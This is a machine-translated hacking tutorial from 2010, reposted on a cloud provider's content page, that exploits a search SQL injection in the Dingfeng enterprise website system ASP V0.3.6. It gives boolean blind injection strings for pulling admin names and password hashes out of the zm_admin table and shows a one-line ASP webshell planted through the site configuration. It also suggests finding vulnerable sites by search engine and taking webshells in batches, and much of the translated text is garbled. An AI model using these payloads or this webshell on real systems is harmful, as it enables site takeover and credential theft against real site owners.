Dingfeng enterprise smart website creation system search Injection Vulnerability

Source: Internet
Author: User
Released on: Author: Mo Miao asked the affected version: Ding Feng Enterprise Intelligent website construction system ASP version V0.3.6 vulnerability Description: yesterday using this system took a webshell, however, the default database is downloaded, and the system interface we found later is doing well. Let's take a look at its security. This article describes how to search for injection vulnerabilities.

Released on: 2010-04-18
Author: Mo Miao
Affected Versions: dingfeng enterprise smart website construction system ASP V0.3.6
Vulnerability description:
 

Yesterday, we used this system to get a webshell, but downloaded the default database. Later we found that this system interface was quite good. Let's take a look at its security. This article provides a simple analysis and application of search injection vulnerabilities, and uses shell in batches.


1. Simple Analysis


Vulnerability file: zm_search.asp code:

T = Request. FoRm("T ")
Key = Request. Form ("key ")

If t = "" or key = "" then
Response. Write ("script" alert ('enter a keyword! '); History. back (); script ")
Response. End ()
End if

If t = 1 then
SQL = "select * from Zm_ProDuCt where name like '% "& key &" % 'order by ord asc,IdDesc"
MenUname= "Search for products"
ELsE
SQL = "select * from Zm_News where title like '%" & key & "% 'order by ord asc, id desc"
Menuname = "Search for news"
End if

The variables t and key in the form are obtained directly, and the search injection vulnerability is thrown into the query if they are null or not.
Take care of new users here:
I learned how to use the Like operator in the WHERE clause in SQL data queries. The Like operator is used for Fuzzy queries. To use Like for Fuzzy queries, you must use wildcards to complete fuzzy queries, "%" is a wildcard in the Like operator. It represents zero or multiple arbitrary characters. for your understanding, we provide some examples:
Like "hacker %" returns any character starting with hacker
Like "% hacker" returns any character ending with hacker
Like "% hacker %" returns any character containing the hacker
Open a website, enter the keyword 'and 1 = 1 and' % '=' in the search box, and click "Black Hat". Click "Search" and the results will return information related to the black hat, that is, the statement hacker 'and 1 = 1 and' % '=' is normal, and the hacker 'and 1 = 2 and' % '=' cannot find relevant information. Of course, note that this keyword should be able to find the article.

Ii. Exploitation of Vulnerabilities


The principle is clear. Let's construct the injection statement. Here we search for the keyword "Ding Feng". Ding Feng can search for all the content, remember, you must be able to search for it here. Otherwise, it is difficult to distinguish it later. Return to the original homepage and enter the following statement: (when constructing, pay attention to closing the front and back % and single quotes)
Ding Feng % 'and 1 = 1 and' % '=' --------------- Statement 1
However, you cannot enter all the code. It seems that the length of the search is limited. The maximum length of the search is 20 characters. Asp is submitted to zm_search.asp for processing. In this way, we can write a form to assign values to t and key to break through the length limit. The code is not given. It is very easy to write it by yourself. Setting the form action value to http: // url/search. asp cannot be submitted to zm_search.asp. If you are not clear about it, go to the next code. Well, I won't be able to forward any external links when I enter the graph 1 of the statement!

 

You can guess the content of 1 = 1 in a change form. Here, I will take care of the newbie. I will list the statements and comment out their functions:

Statement 1: Ding Feng % 'and 1 = 1 and' % '='; 1 = 1 return one found, that is, normal
Statement 2: Ding Feng % 'and 1 = 1 and' % '='; 1 = 2 obviously does not exist. If no article is found, an exception is returned.
Statement 3: Ding Feng % 'and 1 <(select count (*) from zm_admin) and' % '='; Determine whether the number of administrators is greater than 1
Statement 4: Ding Feng % 'and (select count (name) from zm_admin)> 0 and' % '='; Determine whether the table segment name exists, by viewing the database, we can directly know that the database exists.
Statement 5: Ding Feng % 'and (select top 1 asc (mid (name, 1, 1) from zm_admin)> 96 and' % '= ';
Function: determines whether the ascii code of the first character of the name of the first user name in the name table segment is greater than 96, that is, whether it is equal to
Similarly, you can replace the name field in statement 5 with the password field. In the same way, the password md5 hash is used.
Of course, this injection tool can also be used for scanning, but you need to add fields by yourself. In addition, you can add a keyword to search for information. Here I recommend the NBSI and HDSI tools, which are simple and will not be demonstrated here. OK
 

3. webshell in the background
Injection can get the Administrator's password. Go to the background and check the default address: Manage/login. asp. Here, the R () function is used to filter out single quotes. The universal password is useless. Directly use injection to get the management password for login. In the website configuration title, write a trojan directly, but pay attention to the closed statement here. The structure is as follows:

1 "%> <%ExECutE (request ("cmd") %> <%'
The trojan is successfully inserted. 3:
[LocalFile= 4]

OK. Baidu can search for webshells in batches. Here, we will not say that you can use them by yourself, and do not use them for illegal purposes. Of course, there are still many problems in the system. If you are interested, you can continue mining.
This article ends here, stating that this article is only for technical exchanges and learning and cannot be used for illegal purposes. Otherwise, the consequences will be borne by you.
Inevitably wrong in this article, if you have any questions can contact me www.awolf07.cn or http://forum.bhst.org


The submitted htm form is relatively simple.



Image Attachment (thumbnail ):

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.